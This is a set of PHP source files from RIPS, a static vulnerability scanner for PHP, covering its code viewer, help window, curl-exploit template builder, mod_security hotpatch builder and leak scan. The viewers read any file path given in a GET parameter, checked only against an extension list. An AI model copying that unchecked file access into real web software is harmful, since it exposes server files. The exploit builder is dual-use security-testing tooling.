      			{
      				if($tokens[$i][1] !== '<?' && $tokens[$i][1] !== '?'.'>')
      				{
      					$trimmed = is_array($tokens[$i]) ? trim($tokens[$i][1]) : trim($tokens[$i]);
      					$output .= '<span class="phps-t-comment">';
      					$output .= empty($trimmed) ? '&nbsp;' : htmlentities($trimmed, ENT_QUOTES, 'utf-8');
      					$output .= '</span>';
      				}
      			}
      			else if($tokens[$i] === '/' && $tokens[$i-1] === '*')
      				$output .= '<span class="phps-t-comment">*/</span>';
      			else if (is_string($tokens[$i]))
      			{
      				$output .= '<span class="phps-code">';
      				$output .= htmlentities(trim($tokens[$i]), ENT_QUOTES, 'utf-8');
      				$output .= '</span>';
      			}
      			else if (is_array($tokens[$i])
      			&& $tokens[$i][0] !== T_OPEN_TAG
      			&& $tokens[$i][0] !== T_CLOSE_TAG)
      			{
      				if ($tokens[$i][0] !== T_WHITESPACE)
      				{
      					$text = '<span ';
      					if($tokens[$i][0] === T_VARIABLE)
      					{
      						$cssname = str_replace('$', '', $tokens[$i][1]);
      						$text.= 'style="cursor:pointer;" name="phps-var-'.$cssname.'" onClick="markVariable(\''.$cssname.'\')" ';
      						$text.= 'onmouseover="markVariable(\''.$cssname.'\')" onmouseout="markVariable(\''.$cssname.'\')" ';
      					}
      					else if($tokens[$i][0] === T_STRING && $tokens[$i+1] === '(' && $tokens[$i-2][0] !== T_FUNCTION)
      					{
      						$text.= 'onmouseover="mouseFunction(\''.strtolower($tokens[$i][1]).'\', this)" onmouseout="this.style.textDecoration=\'none\'" ';
      						$text.= 'onclick="openFunction(\''.strtolower($tokens[$i][1])."','$line_nr');\" ";
      					}
      					$text.= 'class="phps-'.str_replace('_', '-', strtolower(token_name($tokens[$i][0]))).'" ';
      					$text.= '>'.htmlentities($tokens[$i][1], ENT_QUOTES, 'utf-8').'</span>';
      				}
      				else
      				{
      					$text = str_replace(' ', '&nbsp;', $tokens[$i][1]);
      					$text = str_replace("\t", str_repeat('&nbsp;', 8), $text);
      				}
      
      				$output .= $text;
      			}
      		}
      
      		if(strstr($line, '*/'))
      			$in_comment = false;
      
      		echo $output.'</td></tr>';
      		return $in_comment;
      	}
      
      	// print source code and mark lines
      
      	$file = $_GET['file'];
      	$marklines = explode(',', $_GET['lines']);
      	$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);
      
      
      	if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))
      	{
      		$lines = file($file);
      
      		// place line numbers in extra table for more elegant copy/paste without line numbers
      		echo '<tr><td><table>';
      		for($i=1, $max=count($lines); $i<=$max;$i++)
      			echo "<tr><td class=\"linenrcolumn\"><span class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
      		echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
      
      		$in_comment = false;
      		for($i=0; $i<$max; $i++)
      		{
      			$in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
      		}
      	} else
      	{
      		echo '<tr><td>Invalid file specified.</td></tr>';
      	}
      ?>
      </table>
      </td></tr></table>
      
      
      ================================================
      FILE: windows/exploit.php
      ================================================
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      if(!empty($_GET['file']))
      {
      	$file = $_GET['file'];
      ?>
      
      <div style="padding: 20px; width: 400px">
      
      <div style='width: 300px'>
      	#!/usr/bin/php -f<br>
      	&lt;?php<br>
      	#<br>
      	# <?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?> curl exploit<br>
      	#<br><br>
      </div>
      
      <div id="exploitbuild">
      <div class="exploitbox">
      	<div class="exploittitlebox">
      		<div class="exploittitle">general settings:</div>
      		<div style="clear: left;"></div>
      	</div>
      
      	<div class="exploitcontentbox">
      	<table class="textcolor">
      	<tr>
      		<td>URL:</td>
      		<td><input type="text" size="40" id="target" name="target" value="http://$target/<?php echo htmlentities(basename($file), ENT_QUOTES, 'utf-8'); ?>" /></td>
      	</tr>
      	<tr>
      		<td>COOKIEJAR:</td>
      		<td><input type="text" id="cookiejar" name="cookiejar" value="/tmp/cookie_$target" /></td>
      	</tr>
      	<tr>
      		<td>Max Exec Time:</td>
      		<td><input type="text" id="exectime" size=2 name="exectime" value="3" /> (s)</td>
      	</tr>
      	<tr>
      		<td>SSL: <input type="checkbox" id="ssl" name="ssl" value="1" onChange="setssl()" /></td>
      		<td>BasicAuth: <input type="checkbox" id="auth" name="auth" value="1" /></td>
      	</tr>
      	</table>
      	</div>
      </div>
      
      <?php
      
      	function creatediv($method, $name)
      	{
      		if(!empty($method))
      		{
      			$method = htmlentities($method, ENT_QUOTES, 'utf-8');
      ?>
      
      <div id="<?php echo $name.'box'; ?>" class="exploitbox">
      	<div class="exploittitlebox">
      		<div class="exploittitle"><?php echo $name ?> parameter:</div>
      		<input type="button" class="closebutton" style="position:relative;top:4px;right:5px;" value="x" onClick="deleteMethod('<?php echo $name; ?>')" />
      		<div style="clear: left;"></div>
      	</div>
      
      	<div class="exploitcontentbox">
      	<form id="<?php echo $name; ?>">
      		<table class="textcolor" cellspacing=0px cellpadding=2px>
      <?php
      			$params =  explode(',', $method);
      			foreach($params as $param)
      			{
      				if($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))
      				{
      					$param = htmlentities($param, ENT_QUOTES, 'utf-8');
      					if($param == '*') $param = 'foobar';
      					echo "\n<tr><td>$param:</td>\n",
      					"\t<td><input type='text' name='$param' value=''></td>\n",
      					'</tr>';
      				} else
      				{
      					echo "\n<tr><td colspan='2'>You can taint \$_SERVER['$param'] by editing the target URL.</td></tr>\n";
      				}
      			}
      ?>
      		</table>
      	</form>
      	</div>
      </div>
      <?php
      		}
      	}
      
      	if(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');
      	if(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');
      	if(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');
      	if(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');
      	if(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');
      
      
      ?>
      
      	<input type="button" class="Button" value="create" onClick="createExploit()" />&nbsp;
      	<br /><br />
      </div>
      
      <div id="exploitcode" style="display:none;"></div>
      	?&gt;
      </div>
      <?php
      } else
      {
      	echo 'No file loaded';
      }
      
      ?>
      
      
      ================================================
      FILE: windows/function.php
      ================================================
      <table width='100%'>
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      include('../config/general.php');
      
      	// prepare output to style with CSS
      	function highlightline($line, $line_nr)
      	{
      		$tokens = @token_get_all('<? '.$line.' ?>');
      		$output = "<tr><td class=\"linenrcolumn\" valign=\"top\"><span class=\"linenr\">$line_nr</span>&nbsp;&nbsp;&nbsp;</td><td>";
      
      		foreach ($tokens as $token)
      		{
      			if (is_string($token))
      			{
      				$output .= '<span class="phps-code">';
      				$output .= htmlentities($token, ENT_QUOTES, 'utf-8');
      				$output .= '</span>';
      			}
      			else if (is_array($token)
      			&& $token[0] !== T_OPEN_TAG
      			&& $token[0] !== T_CLOSE_TAG)
      			{
      				if ($token[0] !== T_WHITESPACE)
      				{
      					$text = '<span class="phps-'.str_replace('_', '-', strtolower(token_name($token[0]))).'">';
      					$text.= htmlentities($token[1], ENT_QUOTES, 'utf-8').'</span>';
      				}
      				else
      				{
      					$text = str_replace(' ', '&nbsp;', $token[1]);
      					$text = str_replace("\t", str_repeat('&nbsp;', 8), $text);
      				}
      
      				$output .= $text;
      			}
      		}
      		return $output.'</td></tr>';
      	}
      
      	// print function code
      
      	$file = $_GET['file'];
      	$start = (int)$_GET['start'];
      	$end = (int)$_GET['end'];
      	$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);
      
      
      	if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))
      	{
      		$lines = file($file);
      
      		if( isset($lines[$start]) && isset($lines[$end]) )
      		{
      			for($i=$start; $i<=$end; $i++)
      			{
      				echo highlightline($lines[$i], $i);
      			}
      		} else
      		{
      			echo '<tr><td>Sorry, wrong file referenced.</td></tr>';
      		}
      	} else
      	{
      		echo '<tr><td>Sorry, no file referenced.</td></tr>';
      	}
      ?>
      </table>
      
      
      ================================================
      FILE: windows/help.php
      ================================================
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      include '../config/general.php';
      include '../config/securing.php';
      include '../config/sinks.php';
      include '../config/tokens.php';
      include '../config/sources.php';
      include '../config/help.php';
      include '../lib/printer.php';
      
      $function = htmlentities($_GET['function'], ENT_QUOTES, 'utf-8');
      $type = htmlentities($_GET['type'], ENT_QUOTES, 'utf-8');
      $type = explode(" (", $type);
      $type = $type[0];
      
      switch($type)
      {
      	case $NAME_XSS: 			$HELP = $HELP_XSS;
      								$FUNCS = $F_SECURING_XSS;
      								break;
      	case $NAME_HTTP_HEADER: 	$HELP = $HELP_HTTP_HEADER;
      								$FUNCS = array();
      								break;
      	case $NAME_SESSION_FIXATION: 	$HELP = $HELP_SESSION_FIXATION;
      								$FUNCS = array();
      								break;
      	case $NAME_CODE: 			$HELP = $HELP_CODE;
      								$FUNCS = $F_SECURING_PREG;
      								break;
      	case $NAME_REFLECTION: 		$HELP = $HELP_REFLECTION;
      								$FUNCS = array();
      								break;
      	case $NAME_FILE_INCLUDE: 	$HELP = $HELP_FILE_INCLUDE;
      								$FUNCS = $F_SECURING_FILE;
      								break;
      	case $NAME_FILE_READ: 		$HELP = $HELP_FILE_READ;
      								$FUNCS = $F_SECURING_FILE;
      								break;
      	case $NAME_FILE_AFFECT: 	$HELP = $HELP_FILE_AFFECT;
      								$FUNCS = $F_SECURING_FILE;
      								break;
      	case $NAME_EXEC: 			$HELP = $HELP_EXEC;
      								$FUNCS = $F_SECURING_SYSTEM;
      								break;
      	case $NAME_DATABASE: 		$HELP = $HELP_DATABASE;
      								$FUNCS = $F_SECURING_SQL;
      								break;
      	case $NAME_XPATH: 			$HELP = $HELP_XPATH;
      								$FUNCS = $F_SECURING_XPATH;
      								break;
      	case $NAME_LDAP: 			$HELP = $HELP_LDAP;
      								$FUNCS = $F_SECURING_LDAP;
      								break;
      	case $NAME_CONNECT: 		$HELP = $HELP_CONNECT;
      								$FUNCS = array();
      								break;
      	case $NAME_POP: 			$HELP = $HELP_POP;
      								$FUNCS = array();
      								break;
      	default:
      		$HELP = array(
      			'description' => 'No description available for this vulnerability.',
      			'link' => '',
      			'code' => 'Not available.',
      			'poc' => 'Not available.'
      		);
      		break;
      }
      ?>
      
      <div style="padding-left:30px;padding-right:30px">
      <h2><?php echo $type; ?></h2>
      <h3>vulnerability concept:</h3>
      
      <table class="textcolor">
      <tr>
      	<th class="helptitle">source</th>
      	<th></th>
      	<th class="helptitle">sink</th>
      	<th></th>
      	<th class="helptitle">vulnerability</th>
      </tr>
      <tr>
      <td align="left" class="helpbox">
      <ul style="margin-left:-25px">
      <?php
      if($_GET['get'] || (empty($_GET['get']) && empty($_GET['post']) && empty($_GET['cookie']) && empty($_GET['files']) && empty($_GET['server'])))
      	echo '<li class="userinput"><a href="'.PHPDOC.'reserved.variables.get" target="_blank">$_GET</a></li>';
      if($_GET['post'])
      	echo '<li class="userinput"><a href="'.PHPDOC.'reserved.variables.post" target="_blank">$_POST</a></li>';;
      if($_GET['cookie'])
      	echo '<li class="userinput"><a href="'.PHPDOC.'reserved.variables.cookie" target="_blank">$_COOKIE</a></li>';
      if($_GET['files'])
      	echo '<li class="userinput"><a href="'.PHPDOC.'reserved.variables.files" target="_blank">$_FILES</a></li>';
      if($_GET['server'])
      	echo '<li class="userinput"><a href="'.PHPDOC.'reserved.variables.server" target="_blank">$_SERVER</a></li>';
      ?>
      </ul>
      </td>
      <td align="center" valign="center"><h1>+</h1></td>
      <td align="center" class="helpbox">
      	<?php echo '<a class="link" href="'.PHPDOC.$function.'" target="_blank">'.$function.'()</a>'; ?>
      </td>
      <td align="center" valign="center"><h1>=</h1></td>
      <td align="center" class="helpbox">
      <?php echo $type; ?>
      </td>
      </tr>
      </table>
      
      <h3>vulnerability description:</h3>
      <p><?php echo $HELP['description']; ?></p>
      <p><?php if(!empty($HELP['link'])) echo "More information about $type can be found <a href=\"{$HELP['link']}\" target=\"_blank\">here</a>."; ?></p>
      
      <h3>vulnerable example code:</h3>
      <pre><?php echo highlightline(token_get_all($HELP['code']), '', 1); ?></pre>
      
      <h3>proof of concept:</h3>
      <p><?php echo htmlentities($HELP['poc']); ?></p>
      
      <h3>patch:</h3>
      <p><?php echo htmlentities($HELP['patchtext']); ?></p>
      <pre><?php echo highlightline(token_get_all($HELP['patch']), '', 1); ?></pre>
      
      <h3>related securing functions:</h3>
      <ul>
      <?php
      if(!empty($FUNCS))
      {
      	foreach($FUNCS as $func)
      	{
      		echo '<li><a class="darkcolor" href="'.PHPDOC.$func.'" target="_blank">'.$func."</a></li>\n";
      	}
      } else
      {
      	echo 'None.';
      }
      ?>
      </ul>
      </div>
      
      
      ================================================
      FILE: windows/hotpatch.php
      ================================================
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      if(!empty($_GET['file']))
      {
      	$file = $_GET['file'];
      ?>
      
      <div style="padding: 20px; width: 400px">
      
      
      <div id="hotpatchbuild">
      
      Create mod_security rule.
      
      <?php
      
      	function getFilterOptions($id)
      	{
      		return '<select name="filter" onchange="document.getElementById('.$id.').value=this.value">'
      			.'<option value="alpha">alphanum</option>'
      			.'<option value="alpha">numerical</option>'
      			.'</select>';
      	}
      
      	function creatediv($method, $name)
      	{
      		if(!empty($method))
      		{
      			$method = htmlentities($method, ENT_QUOTES, 'utf-8');
      ?>
      
      <div id="<?php echo $name.'box'; ?>" class="exploitbox">
      	<div class="exploittitlebox">
      		<div class="exploittitle"><?php echo $name ?> parameter:</div>
      		<input type="button" class="closebutton" style="position:relative;top:4px;right:5px;" value="x" onClick="deleteMethod('<?php echo $name; ?>')" />
      		<div style="clear: left;"></div>
      	</div>
      
      	<div class="exploitcontentbox">
      	<form id="<?php echo $name; ?>">
      		<table class="textcolor" cellspacing=0px cellpadding=2px>
      <?php
      			$params =  explode(',', $method);
      			foreach($params as $param)
      			{
      				if($name != '$_SERVER' || ($name == '$_SERVER' && substr($param,0,4) == 'HTTP'))
      				{
      					$param = htmlentities($param, ENT_QUOTES, 'utf-8');
      					echo "\n<tr><td>$param:</td>\n",
      					"\t<td><input type='text' id='{$method}{$param}' name='$param' value='' /></td>",
      					"<td>".getFilterOptions($method.$param)."</td>\n",
      					'</tr>';
      				} else
      				{
      					echo "\n<tr><td colspan='2'>You can taint \$_SERVER['$param'] by editing the target URL.</td></tr>\n";
      				}
      			}
      ?>
      		</table>
      	</form>
      	</div>
      </div>
      <?php
      		}
      	}
      
      	if(isset($_GET['get'])) creatediv($_GET['get'], '$_GET');
      	if(isset($_GET['post'])) creatediv($_GET['post'], '$_POST');
      	if(isset($_GET['cookie'])) creatediv($_GET['cookie'], '$_COOKIE');
      	if(isset($_GET['files'])) creatediv($_GET['files'], '$_FILES');
      	if(isset($_GET['server'])) creatediv($_GET['server'], '$_SERVER');
      
      
      ?>
      
      	<input type="button" class="Button" value="create" onClick="createHotpatch()" />&nbsp;
      	<br /><br />
      </div>
      
      <div id="hotpatchcode">
      
      </div>
      
      <?php
      } else
      {
      	echo 'No file loaded';
      }
      
      ?>
      
      </div>
      
      
      ================================================
      FILE: windows/leakscan.php
      ================================================
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      	###############################  INCLUDES  ################################
      
      	include('../config/general.php');		// general settings
      	include('../config/sources.php');		// tainted variables and functions
      	include('../config/tokens.php');		// tokens for lexical analysis
      	include('../config/securing.php');		// securing functions
      	include('../config/sinks.php');			// sensitive sinks
      	include('../config/info.php');			// interesting functions
      
      	include('../lib/constructer.php'); 		// classes
      	include('../lib/filer.php');			// read files from dirs and subdirs
      	include('../lib/tokenizer.php');		// prepare and fix token list
      	include('../lib/analyzer.php');			// string analyzers
      	include('../lib/scanner.php');			// scan for sinks in token list
      	include('../lib/printer.php');			// output scan result
      	include('../lib/searcher.php');			// search functions
      
      	###############################  MAIN  ####################################
      
      	$start = microtime(TRUE);
      
      	$output = array();
      	$info = array();
      	$scanned_files = array();
      
      	if(!empty($_POST['loc']))
      	{
      		$location = realpath($_POST['loc']);
      
      		if(is_dir($location))
      		{
      			$scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false;
      			$files = read_recursiv($location, $scan_subdirs);
      
      			if(count($files) > WARNFILES && !isset($_POST['ignore_warning']))
      				die('warning:'.count($files));
      		}
      		else if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES))
      		{
      			$files[0] = $location;
      		}
      		else
      		{
      			$files = array();
      		}
      
      		// SCAN
      			$user_functions = array();
      			$user_functions_offset = array();
      			$file_sinks_count = array();
      			$user_input = array();
      
      			$count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=0;
      
      			$verbosity = 3;
      
      			$scan_functions = array_merge($F_XSS, $F_HTTP_HEADER, $F_SESSION_FIXATION);
      			$F_USERINPUT = array();
      			$V_USERINPUT = array($_POST['varname']);
      			$F_SECURING_XSS = array();
      			$_POST['vector'] = 'client';
      
      			$overall_time = 0;
      			$timeleft = 0;
      			$file_amount = count($files);
      
      			for($fit=0; $fit<$file_amount; $fit++)
      			{
      				// for scanning display
      				$thisfile_start = microtime(TRUE);
      				$file_scanning = $files[$fit];
      
      				echo ($fit) . '|' . $file_amount . '|' . $file_scanning . '|' . $timeleft . '|' ."\n";
      				@ob_flush();
      				flush();
      
      				$scan = new Scanner($file_scanning, $scan_functions, array(), array());
      				$scan->parse();
      
      				$overall_time += microtime(TRUE) - $thisfile_start;
      				// timeleft = average_time_per_file * file_amount_left
      				$timeleft = round(($overall_time/($fit+1)) * ($file_amount - $fit+1),2);
      			}
      			echo "STATS_DONE.\n";
      			@ob_flush();
      			flush();
      	}
      
      	$elapsed = microtime(TRUE) - $start;
      
      	################################  RESULT  #################################
      
      	$treestyle = $_POST['treestyle'];
      
      	function checkLeak($tree, $line, $varname)
      	{
      		if($tree->children)
      		{
      			foreach ($tree->children as $child)
      			{
      				// really dirty :(
      				if(preg_match("/$line:.*markVariable\('$varname/", $child->value))
      					return true;
      				return checkLeak($child, $line, $varname);
      			}
      		}
      		return false;
      	}
      
      	// check for line leaks found in vulnblock
      	function lineLeakes($line, $var, $block)
      	{
      		foreach($block->treenodes as $tree)
      		{
      			if(checkLeak($tree, $line, $var))
      				return true;
      		}
      		return false;
      	}
      
      		if(!empty($output))
      		{
      			$nr=0;
      			reset($output);
      			do
      			{
      				if(key($output) != "" && !empty($output[key($output)]) )
      				{
      					foreach($output[key($output)] as $vulnBlock)
      					{
      						if(lineLeakes($_POST['line'], str_replace('$','',$_POST['varname']), $vulnBlock))
      						{
      							$nr++;
      							echo '<div style="margin-left:10px;margin-top:10px"><div class="vulnblock">',
      							'<div id="picleak',$nr,'" class="minusico" name="picleak" style="margin-top:5px" title="minimize"',
      							' onClick="hide(\'leak',$nr,'\')"></div><div class="vulnblocktitle">Data Leak</div>',
      							'</div><div name="allcats"><div class="vulnblock" style="border-top:0px;" name="leak" id="leak',$nr,'">';
      
      							if($treestyle == 2)
      								krsort($vulnBlock->treenodes);
      
      							foreach($vulnBlock->treenodes as $tree)
      							{
      								echo '<div class="codebox"><table border=0>',"\n",
      								'<tr><td valign="top" nowrap>',"\n",
      								'<div class="fileico" title="review code" ',
      								'onClick="openCodeViewer(this,\'',
      								addslashes($tree->filename), '\',\'',
      								implode(',', $tree->lines), '\');"></div>'."\n",
      								'<div id="pic',key($output),$tree->lines[0],'" class="minusico" title="minimize"',
      								' onClick="hide(\'',addslashes(key($output)),$tree->lines[0],'\')"></div><br />',"\n";
      
      								echo '</td><td><span class="vulntitle">The return value of the sensitive sink is embedded into the HTML output.</span>',
      								'<div class="code" id="',key($output),$tree->lines[0],'">',"\n";
      
      								if($treestyle == 1)
      									traverseBottomUp($tree);
      								else if($treestyle == 2)
      									traverseTopDown($tree);
      
      									echo '<ul><li>',"\n";
      								dependenciesTraverse($tree);
      								echo '</li></ul>',"\n",	'</div>',"\n", '</td></tr></table></div>',"\n";
      							}
      							echo '</div></div><div style="height:20px"></div></div>',"\n";
      						}
      					}
      
      				}
      			}
      			while(next($output));
      		}
      ?>